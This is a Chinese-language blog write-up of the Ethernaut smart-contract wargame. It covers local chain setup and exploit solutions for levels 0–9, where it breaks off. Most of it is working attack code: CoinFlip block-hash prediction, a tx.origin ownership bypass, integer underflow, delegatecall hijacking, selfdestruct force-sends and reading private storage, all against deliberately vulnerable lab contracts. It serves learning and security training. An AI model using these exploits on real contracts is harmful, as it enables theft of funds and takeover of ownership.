如题,想练练区块链的题目,网上找了一圈发现题目大多都不在Running,后来@sh1k4ku 推荐了Ethernaut ,于是,开刷。
Ethernaut的题目都比较简单,适合入门食用。
篇幅上我打算把全部题目写成一篇,想看对应题目的话直接点TOC跳转即可,当然推荐一直往下读(
介绍篇·
首先介绍一下区块链/以太坊的一些概念,下面一些内容参考了@Van1sh 的初探以太坊 。
常见的区块链题目都会给出三个链接:RPC(Remote Procedure Call)、Faucet(水龙头/水管)和题目链接
RPC:可以大概理解为链的提供者,我们需要链接上一个RPC后才可以在上面进行创建账户、部署合约、调用合约等操作。
Faucet:可以理解为免费的提款机(水龙头就是源源不断有水流出的意思),通常把自己钱包的公钥输进去后就会给你打钱,以太坊中的很多操作都需要付Gas(燃料费,可以理解为手续费),所以创建账户后首先要记得去水龙头拿钱。
但要注意如果用的是公共测试链的话需要一定拿钱门槛,而且给的还贼少,主链的话就不可能免费了,通常要用USD去换。
题目链接:用来部署题目、提交答案等,通常题目代码在这拿。
不过在Ethernaut上会有点不一样,一会细说,先把概念记住就好。
除了上面三个链接,我们还需要一个钱包(或者说一个账户),常用的是MetaMask(小狐狸) ,按照指引装上他的浏览器插件即可,装完后在上面创建一个新的账户,然后就可以进Ethernaut了。
Ethernaut介绍·
访问:https://ethernaut.openzeppelin.com/
如果你是第一次访问的话他会叫你设置网络(这个网络指的是RPC,不是互联网),如果你在配置过MetaMask中配置好网络的话点击“deploy”(部署)即可,如果看不懂的话暂时选它推荐的Sepolia即可,反正一会可以改的。(这里我没截到图,反正大概意思-)
PS:Sepolia是以太坊的一个公共测试链。
进去后点击右上角的设置,可以先把语言改了,然后如果刚才的网络没选好的话也可以在这里更改(不过好像只能选公共测试链)
另外网络也可以在MetaMask里改,点击MetaMask插件左上角选择网络,打开测试网络然后选择你想要用的网络即可,这里就可以选私链
最后稍微对应一下上面的三个概念,
首先RPC就是这里的网络,由于Ethernaut和MetaMask把连接的过程抽象成按钮点击,所以并不需要知道RPC的地址(链接),实在想知道的话可以在Alchemy 上查,比如Sepolia的话可以在这里 查到:
PS:如果你想脱离Ethernaut平台自己写脚本的话,以上信息是必须知道的。
然后是Faucet,如果用的是公共测试链,就需要自己去找Faucet,还是拿Sepolia做例子,可以在这里 找到一些比较多人用的水管,但我自己试了一下除了testnet-faucet (每小时可以拿0.001测试币),其他不是代理问题就是需要主链有0.001ETH(PS:主链起充200+RMB)
之前也试过RockX ,但用了一段时间后也说需要主链有币才能用,emmm,所以公链的水管就需要自己想办法了
如果是私链的话,都是自己搭的链,改个数字就好了吧(x),比如自己本地搭Ethernaut 的话会提供几个初始账户,里面各有10000 ETH。
最后题目链接就是刚才的平台。
搭建私链/Ethernaut平台·
如刚才说的,公链测试币太难拿了,所以不如自己搭个私链,还不用怕在公链上乱搞被骂 。
在这其实有几个选择,你可以
按Ethernaut的GitHub 上的指引搭建一个完整的本地平台,这个一会细说
也可以按Ethernaut的指引搭建好私链并部署好协议后,访问在线的Ethernaut平台,你可以认为Ethernaut平台只是一个前端,因为部署Ethernaut的时候会有各种坑,如果平台实在没建起来的话可以凑合用着在线的(不过链是自己的)
当然也可用Geth 、Hardhat 等搭建自己的私链,MetaMask连上链后,访问Ethernaut,但是还要自己把题目部署上链,有点麻烦
下面马克一下我部署Ethernaut的过程
首先把项目克隆下来
1 2 git clone git@github.com:OpenZeppelin/ethernaut.git cd ethernaut
然后你需要安装NodeJS ,这里建议装16.x的版本,因为旧了会报错,新了也会报错。。。
比较推荐使用NVM (我Windows的话是NVM for Windows ),Releases里下载安装后
1 2 nvm install 16 nvm use 16
即可,如无意外执行nvm list
会显示(版本可能不一样)
如果执行多次都没显示(Currently using 64-bit executable)
的话,可能需要删除安装时填的那个nodejs
,再执行nvm use 16
,参考:这里
然后需要装yarn
(-g
是全局的意思,如果不想全局的话。。。自己解决吧-)
然后就可以跟着GitHub上的指引安装,首先安装依赖
开启私链(基于Hardhat,但不用自己另外装,上面已经装了)
执行完后会打印出20个测试账户,里面各有10000 ETH,一会刷题可以使用这些账户,就不用折腾水管了
另外,这个窗口不能关闭,否则链就关了,所以下面命令需要另外开一个窗口
接着编译题目
打开client/src/constants.js
,把ACTIVE_NETWORK
设置为NETWORKS.LOCAL
(有一行注释的,删掉注释即可)
另外client/src/constants.js
行17的url: "http://localhost"
改为url: "http://127.0.0.1"
,不然一会部署题目可能会报CONNECTION ERROR
,参考:这里
部署题目
如无意外的话到这里私链就搭好了,如果不想继续弄下去的话可以在MetaMask中选择Localhost 8545
的私链后访问在线的Ethernaut平台
接下来开启本地平台
PS:当时我用18.x的NodeJS报0308010C:digital envelope routines::unsupported
,降级为16.x后就没问题,参考:这里
如无意外的话会弹到http://localhost:3000/
,上面有一个和在线版一模一样的Ethernaut平台
接着打开MetaMask,网络选择Localhost 8545
,然后导入账户,在刚才yarn network
的列表中选一个私钥导入,到这里如果看到自己的1w ETH就算配置成功了
下面开始愉快地 刷题
PS:如果把network
关闭再重启后,MetaMask上可能会出现nonce
不对的情况,这时在MetaMask中:设置 -> 高级 -> 清楚活动选项卡数据
清一下nonce
即可,不过注意之前的交易记录会被清调,谨慎操作
00_Hello Ethernaut·
点击开始进入第0关
上面有一些平台的指引,MetaMask刚才已经配置好了,接下来打开控制台:Ctrl + Shift + i
或F12
,然后转到Console
,输help()
可获得所有指令,可以都试试
点“生成新实例”开始游戏,会弹出MetaMask要求交手续费,点确认即可,然后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 await contract.info() // 'You will find what you need in info1().' await contract.info1() // 'Try info2(), but with "hello" as a parameter.' await contract.info2('hello') // 'The property infoNum holds the number of the next info method to call.' (await contract.infoNum()).words[0] // 42 await contract.info42() // 'theMethodName is the name of the next method.' await contract.theMethodName() // 'The method name is method7123949.' await contract.method7123949() // 'If you know the password, submit it to authenticate().' await contract.password() // 'ethernaut0' await contract.authenticate('ethernaut0')
执行contract.authenticate('ethernaut0')
,需要交手续费,最后提交实例,也要手续费
PS:关于手续费,如果一个操作需要写入,则需要手续费,如果是只读则不用(好像需要运算的也要?
通过后可以获得本关的题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Instance { string public password; uint8 public infoNum = 42; string public theMethodName = 'The method name is method7123949.'; bool private cleared = false; // constructor constructor(string memory _password) { password = _password; } function info() public pure returns (string memory) { return 'You will find what you need in info1().'; } function info1() public pure returns (string memory) { return 'Try info2(), but with "hello" as a parameter.'; } function info2(string memory param) public pure returns (string memory) { if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) { return 'The property infoNum holds the number of the next info method to call.'; } return 'Wrong parameter.'; } function info42() public pure returns (string memory) { return 'theMethodName is the name of the next method.'; } function method7123949() public pure returns (string memory) { return 'If you know the password, submit it to authenticate().'; } function authenticate(string memory passkey) public { if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) { cleared = true; } } function getCleared() public view returns (bool) { return cleared; } }
01_Fallback·
仔细看下面的合约代码.
通过这关你需要
获得这个合约的所有权
把他的余额减到0
这可能有帮助
如何通过与ABI互动发送ether
如何在ABI之外发送ether
转换 wei/ether 单位 (参见 help()
命令)
Fallback 方法
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
其实只要执行receive
就可以获得所有权,但还要绕过里面的require
首先check一下owner
,显然不是我
1 2 owner = await contract.owner()
然后贡献点钱,绕过receive
里的contributions[msg.sender] > 0
,这里钱好像不能转太少,不然还是当作0
,不懂solidity的小数机制(留坑),捐钱可以调用合约的contribute
函数,捐多少钱可以通过输入value
控制,其中toWei
是把单位ETH
转换为单位Wei
,toWei('0.0001')
就是我要转0.0001 ETH
的意思,只是这里value
接受的单位是Wei
,所以要转
1 await contract.contribute({value : toWei('0.0001' )})
检查一下有没捐成功,刚才说了,因为会有一个小数的坑
1 2 (await contract.getContribution()).words
不是空的,就是成功了
接下来调receive
,参考了一下receive
函数的用法 ,对合约转账即可执行receive
,比如用 transfer()
、send()
或call()
函数进行转账,这里我直接调用Ethernaut给我封装好的contract.send
函数,输入要转的Wei
数量即可
然后再测一下所有权
已经变成我了,提款然后提交实例即可
1 await contract.withdraw()
02_Fallout·
获得以下合约的所有权来完成这一关.
这可能有帮助
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; // constructor function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
先看看owner
好家伙,构造函数是假的(真的应该是叫constructor()
),凋一下Fal1out()
获得控制权
1 2 3 await contract.Fal1out()await contract.owner()
然后提交即可
03_Coin Flip (*)·
这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。
这可能能帮助到你
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
实际上是猜blockValue
比FACTOR
大(true
)还是小(false
),blockValue
是上一块的哈希,是公共信息,所以可以本地获取blockValue
然后自己和FACTOR
比较得出side
这题我尝试用三种方法解,顺便学学环境
JavaScript方法·
合约里的block.number
可以通过JS的web3.eth.blockNumber
获取 ,哈希可以通过(await web3.eth.getBlock(blockNumber)).hash
计算,FACTOR
是一常量,然后就可以算side
了
首先把FACTOR
定死
1 const FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ;
然后算side
并抛币
1 2 3 4 var num = await web3.eth.getBlockNumber();var blockValue = Number ((await web3.eth.getBlock(num)).hash);var side = blockValue >= FACTOR;await contract.flip(side)
检查一下有没抛成功
1 2 (await contract.consecutiveWins()).words[0 ]
重复10次即可。
但是,如果你是在公链上搞这题的话会有一个问题,就是在获取num
后,计算side
、提交到flip
和在MetaMask上点击都需要时间,如果这段时间内公链上有其他人插入了新的区块,那么合约里的block.number
就会大于num
,从而退化为随机猜测,所以需要节约获取num
到提交成功所消耗的时间
其中比较耗时的是MetaMask的弹出到点击,这里介绍另一种调用合约函数的方法
以上的合约调用都是使用Ethernaut封装好的contract
,其实还有更通用的合约调用方法,
注:如果需要对合约进行写入,则需要提交手续费,而且需要使用账户的私钥对这笔交易进行签名,请注意不要轻易地暴露自己账户的私钥!(我是测试户所以没问题)
首先获取这个合约的实例,需要知道这个合约的ABI
和合约地址,这里直接调用contract
获取即可,然后把常量和私钥定一下
1 2 3 var contract2 = new web3.eth.Contract(contract.abi, contract.address);const FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ;const sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80' ;
同样,计算side
1 2 3 var num = await web3.eth.getBlockNumber();var blockValue = Number ((await web3.eth.getBlock(num)).hash);var side = blockValue >= FACTOR;
然后调用flip
函数,这里会有点麻烦,首先获取flip(side)
的编码(注意这个编码是带输入的)
1 var functionEncode = await contract2.methods.flip(side).encodeABI();
然后需要自己填一些交易信息(之前是Ethernaut封装好的接口,所以可以省略这些信息,但这里要自己手动填)
1 2 3 4 5 const tx = { gas : 300000 , to : contract.address, data : functionEncode, };
因为flip
会更改consecutiveWins
,所以需要用私钥签名
1 var sign = await web3.eth.accounts.signTransaction(tx, sk);
最后发送这笔交易(不会弹出MetaMask,但还是要给钱的)
1 var result = await web3.eth.sendSignedTransaction(sign.rawTransaction);
把全部合起来,重复10次,就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for (i=0 ; i<10 ; i++) { console .log(i); var nonce = await web3.eth.getTransactionCount(player, 'pending' ); var num = await web3.eth.getBlockNumber(); var blockValue = Number ((await web3.eth.getBlock(num)).hash); var side = blockValue >= FACTOR; var functionEncode = await contract2.methods.flip(side).encodeABI(); const tx = { nonce : nonce, gas : 300000 , to : contract.address, data : functionEncode, }; var sign = await web3.eth.accounts.signTransaction(tx, sk); var result = await web3.eth.sendSignedTransaction(sign.rawTransaction); }
然后再看看consecutiveWins
1 2 (await contract.consecutiveWins()).words[0 ]
提交即可
PS:.encodeABI()
的操作其实也可以用web3.eth.abi.encodeFunctionCall
,不过会比较麻烦,需要自己填ABI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var functionEncode = web3.eth.abi.encodeFunctionCall( { type : "function" , name : "flip" , inputs : [ { type : "bool" , name : "_guess" , } ], }, [side] );
没输入的话可以直接web3.eth.abi.encodeFunctionSignature
(不过这里显然有输入)
1 2 web3.eth.abi.encodeFunctionSignature('flip(bool)' )
还是原来的方便一点(
Python方法·
思路类似,只是写的代码不太一样。
首先需要先连接上Provider,要知道RPC的URL,就是http://localhost:8545
PS:关于RPC的信息,可以在MetaMask中:设置 -> 网络 -> 点击Localhost 8545
查看,这里还可以获得链ID,后面会用到
连接Provider
1 2 3 4 5 6 7 8 from web3 import Web3, HTTPProviderRPC_url = 'http://localhost:8545' web3 = Web3(HTTPProvider(RPC_url)) state = web3.is_connected() print (state)if not state: exit(-1 )
连接账户(PS:记得不要轻易泄露自己的私钥,我这只是测试户),顺便看看余额,能打印出来就是成功连上了
1 2 3 4 5 player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266' sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80' account = web3.eth.account.from_key(sk) print (web3.eth.get_balance(player))
连接合约,需要知道合约的ABI
和合约地址,回到浏览器中
1 2 JSON .stringify(contract.abi)contract.address
记下结果,然后回到Python代码中
1 2 3 4 5 6 7 import jsonabi_json = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"consecutiveWins","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true,"signature":"0xe6f334d7"},{"inputs":[{"internalType":"bool","name":"_guess","type":"bool"}],"name":"flip","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function","signature":"0x1d263f67"}]' abi = json.loads(abi_json) address = '0x94099942864EA81cCF197E9D71ac53310b1468D8' contract2 = web3.eth.contract(abi=abi, address=address)
合约中只读函数直接调用即可,无需签名,下面调一下public
变量consecutiveWins
看看是否连接上
1 2 print (contract2.functions.consecutiveWins().call())
web3.py
中,获取block.number
使用的是web3.eth.block_number
,下面计算side
1 2 3 4 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 num = web3.eth.block_number blockValue = int (web3.eth.get_block(num).hash .hex (), 16 ) side = blockValue >= FACTOR
类似地,调用flip(side)
时先要获取其编码
1 functionEncode = contract2.encodeABI(fn_name="flip" , args=[side])
填写交易信息,web3.py
需要的信息会复杂一点,还需要填chainId
、nonce
和gasPrice
chainId
上面已经获取了,填上1337
即可
nonce
是一个递增的值,填web3.eth.get_transaction_count(account.address)
即可,搞乱了后面修回来会很麻烦
gasPrice
是燃料费,私链的话随便填一下就好了,公链的话就要考虑很多东西,建议避开高峰期然后参考市场价填(北京时间的早上,美国那边的下班时间好像会便宜一点),填太低的话要等很久才能交易,填太高就费钱,可以参考一下计费规则
1 2 3 4 5 6 7 8 9 10 11 12 chainId = int (1337 ) nonce = int (web3.eth.get_transaction_count(account.address)) tx = { 'chainId' : chainId, 'nonce' : nonce, 'gasPrice' : int (5000000 ), 'gas' : int (50000 ), 'value' : int (0 ), 'from' : player, 'to' : address, 'data' : functionEncode, }
对交易签名
1 sign = web3.eth.account.sign_transaction(tx, sk)
发送交易
1 2 hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex () result = web3.eth.wait_for_transaction_receipt(hashTx)
连着做10次的话就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from web3 import Web3, HTTPProviderimport jsonchainId = int (1337 ) RPC_url = 'http://localhost:8545' web3 = Web3(HTTPProvider(RPC_url)) state = web3.is_connected() print (state)if not state: exit(-1 ) player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266' sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80' account = web3.eth.account.from_key(sk) print (web3.eth.get_balance(player))abi_json = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"consecutiveWins","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true,"signature":"0xe6f334d7"},{"inputs":[{"internalType":"bool","name":"_guess","type":"bool"}],"name":"flip","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function","signature":"0x1d263f67"}]' abi = json.loads(abi_json) address = '0x94099942864EA81cCF197E9D71ac53310b1468D8' contract2 = web3.eth.contract(abi=abi, address=address) print (contract2.functions.consecutiveWins().call())FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 for i in range (10 ): print ('[Log] Doing: %d' % i) print ('[Log] %d' % web3.eth.get_balance(player)) nonce = int (web3.eth.get_transaction_count(account.address)) print ('[Log] nonce: %d' % nonce) num = web3.eth.block_number print ('[Log] num: %d' % num) blockValue = int (web3.eth.get_block(num).hash .hex (), 16 ) side = blockValue >= FACTOR print ('[Log] side: %s' % side) functionEncode = contract2.encodeABI(fn_name="flip" , args=[side]) tx = { 'chainId' : chainId, 'nonce' : nonce, 'gasPrice' : int (5000000 ), 'gas' : int (500000 ), 'value' : int (0 ), 'from' : player, 'to' : address, 'data' : functionEncode, } sign = web3.eth.account.sign_transaction(tx, sk) hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex () print ('[Log] Sending transaction ...' ) result = web3.eth.wait_for_transaction_receipt(hashTx) print (result) win = contract2.functions.consecutiveWins().call() print (win) print ()
返回浏览器提交即可
记一下之前在公链上搞踩过的坑,在调代码的时候,好像是签名了但交易没发出去或者发出去被中断时,因为交易没发出去,所以web3.eth.get_transaction_count(account.address)
并没增加,但是不知道为啥实际上这个nonce
已经被占用,导致报replacement transaction underpriced
错误
手动增加nonce
虽然没报错,但实际上因为前面交易没完成所以会一直在排队,增加到一定数量的话甚至会导致queued cost
过高
正确的解决方法是,使用之前堵住的nonce
,然后把gasPrice
调高,用更高的gasPrice
覆盖原来的交易,可以参考:这里
Solidity方法·
推荐使用在线的Remix-IDE 编写、编译、部署Solidity的代码。
首先新建个文件,比如我叫hack.sol
,然后写上攻击代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // https://learnblockchain.cn/question/2206 interface CoinFlip { function consecutiveWins() external returns (uint256); function flip(bool) external returns (bool); } contract Hack { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; event Log(string); event Log(uint256); event Log(bool); address cf_addr = 0x94099942864EA81cCF197E9D71ac53310b1468D8; CoinFlip cf = CoinFlip(cf_addr); function flip() public { emit Log(block.number - 1); uint256 blockValue = uint256(blockhash(block.number - 1)); emit Log(blockValue); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; emit Log(side); cf.flip(side); emit Log(cf.consecutiveWins()); } function flipN(uint n) public { for (uint i=0; i<n; i++) { flip(); } } constructor() { } }
其中interface CoinFlip
是题目合约的接口,用来调用题目的CoinFlip
的函数,里面函数都要external
,不然会报错,可以参考:这里
cf_addr
是题目合约地址,flip()
就是算一次side
然后提交到题目的cf.flip(side)
,flipN
就是做n
次flip()
,Log
就是打log
保存后点Remix左边的编译器,选择0.8.0,然后编译
PS:编译完后,同一个页面的下面可以复制这个合约的ABI
和Bytecode
,不过暂时没啥用
编译完后Remix左边点到部署页面,环境选MetaMask,在MetaMask里切换好账户和网络,合约选刚才的hack.sol
,GAS
啥的自己看着设就好,然后点击部署,交钱
部署完成后下面“已部署的合约”中可以和这个合约交互
先点个flip
试试,交钱,然后Remix右下角那个区域会出现这个交易的信息,点开翻到logs
,可以看到刚才Log
对应的输出,比如最后一个是Log(cf.consecutiveWins())
,可以看到输出显示consecutiveWins
变成了1
![屏幕截图 2023-09-19 150005](Ethernaut-note/屏幕截图 2023-09-19 150005.png)
单测成功,但是后来在flipN
中输大于等于2
的n
会报Transaction reverted without a reason string
,不知道是不是异步的问题,留坑
手动按10次flip
算了
PS:如果多的话还是需要在JS或Python中调用这个合约,算是一种不太方便的方法
04_Telephone·
获得下面合约来完成这一关
这可能有用
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
先看看owner
tx.origin
是最初的调用者,msg.sender
是上一级的调用者,如果在别的合约中调用changeOwner
,则tx.origin
是player
,msg.sender
是这个合约,造成tx.origin
和msg.sender
不一致,获得所有权,参考:这里
攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Telephone { function owner() external; function changeOwner(address _owner) external; } contract Hack { address addr = 0x8aCd85898458400f7Db866d53FCFF6f0D49741FF; function hack() public { Telephone tp = Telephone(addr); tp.changeOwner(msg.sender); } constructor() { } }
Remix部署,然后hack
一下,再看看owner
提交
提交后显示:
比如this .
05_Token·
这一关的目标是攻破下面这个基础 token 合约
你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好
这可能有帮助:
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
整数下溢,转走21
块就好,首先看看余额
1 2 (await contract.balanceOf(player)).words[0 ]
然后给一个虚构的play2
转账21
块
1 2 play2 = '0x0000000000000000000000000000000000000000' ; await contract.transfer(play2, 21 );
再看看余额,发生了溢出
1 2 (await contract.balanceOf(player)).words[0 ]
提交后:
06_Delegation·
这一关的目标是申明你对你创建实例的所有权.
这可能有帮助
仔细看solidity文档关于 delegatecall
的低级函数, 他怎么运行的, 他如何将操作委托给链上库, 以及他对执行的影响.
Fallback 方法
方法 ID
题目代码;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
直接看到fallback
里有delegatecall
(委托调用)
delegatecall
大概解释是,可以用来调用外部合约的方法,但是仅调用了外部合约的代码(code),所用的全局变量还是本合约中的变量,即可以调用外部代码修改本地变量,更多delegatecall
的解释可以参考:这里
在这个题中,调用Delegate
里的pwn()
可以获得所有权,而Delegation
中的fallback
里可以使用delegatecall
调用Delegate
里的pwn()
,按上面所说,只会执行Delegate
的代码,变量的修改还是在Delegation
,所以即可以获得Delegation
的所有权
问题剩下,怎么调用Delegate
里的pwn()
,在web3.js
中可以通过web3.eth.abi.encodeFunctionSignature('pwn()')
获得调用pwn()
的ABI
,然后把这个ABI
放到data
中做交易即可
首先看看原owner
然后委托调用pwn()
1 2 3 4 5 6 7 8 9 var contract2 = new web3.eth.Contract(contract.abi, contract.address);const sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80' ;const tx = { gas : 300000 , to : contract.address, data : web3.eth.abi.encodeFunctionSignature('pwn()' ) }; var sign = await web3.eth.accounts.signTransaction(tx, sk);var result = await web3.eth.sendSignedTransaction(sign.rawTransaction);
再看看owner
1 2 await contract.owner()'0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'
提交即可
参见 The Parity Wallet Hack Explained
07_Force·
有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯
这一关的目标是使合约的余额大于0
这可能有帮助:
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */}
(这不是什么都没写吗-)
可以在攻击合约中调用自毁函数selfdestruct
发起强制转账,参考:这里
部署攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hack { address payable vicAddr = payable(0xf41B47c54dEFF12f8fE830A411a09D865eBb120E); constructor() {} function transfer() public payable { payable(address(this)).transfer(msg.value); } function hack() public { selfdestruct(vicAddr); } receive() external payable {} }
PS:没有receive
函数的话转钱好像会报错,另外收钱的函数还要加payable
(部署后在Remix中这个函数的按钮会显示红色),参考:这里 和这里
Remix中在以太币数量
上填点钱(这里输入到合约中是msg.value
),然后点击transfer
转账,确认攻击合约收到钱后点hack
触发自毁,然后把钱转到题目合约中
再查看题目合约的余额
1 2 await web3.eth.getBalance(contract.address)
提交
08_Vault·
打开 vault 来通过这一关!
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
翻了一下这里 虽然说bytes
没有内置比较函数,但试了一下==
是可行的(可能是因为bytes32
直接定了长度,所以直接比较内存),所以应该不是==
的漏洞
那应该就是password
的问题,本来设想可以找到这个合约部署的区块来获得_password
的输入,但是生成实例的交易只是生成实例的,部署的区块应该是平台开始的时候的那堆区块,翻起来有点麻烦,就算了
后来发现web3.eth.getStorageAt
可以直接获得合约的内存,包括私有变量,所以可以直接获得bytes32 private password
,提交解锁,具体参考:这里
1 2 3 4 var password = await web3.eth.getStorageAt(contract.address, 1 );await contract.unlock(password);await contract.locked()
提交即可
zk-SNARKs
PS:马克一下折腾时用到的一些命令,万一以后有用
1 2 3 4 5 6 7 8 9 await web3.eth.getCode(contract.address)var block = await web3.eth.getBlock();(await web3.eth.getTransaction(block.transactions[0 ])).input; (await web3.eth.getTransactionReceipt(block.transactions[0 ])).contractAddress
09_King·
下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.
这么有趣的游戏, 你的目标是攻破他.
当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract King { address king; uint public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; } }
搞了一下多线程,好像不太行
提交一次可以把prize
清零,盲猜是owner
转了个value=0
,由于msg.sender == owner
所以一定能过require
,防不住啊
在king = msg.sender
前还夹了个transfer
,所以转换一下思路,如果可以引发transfer
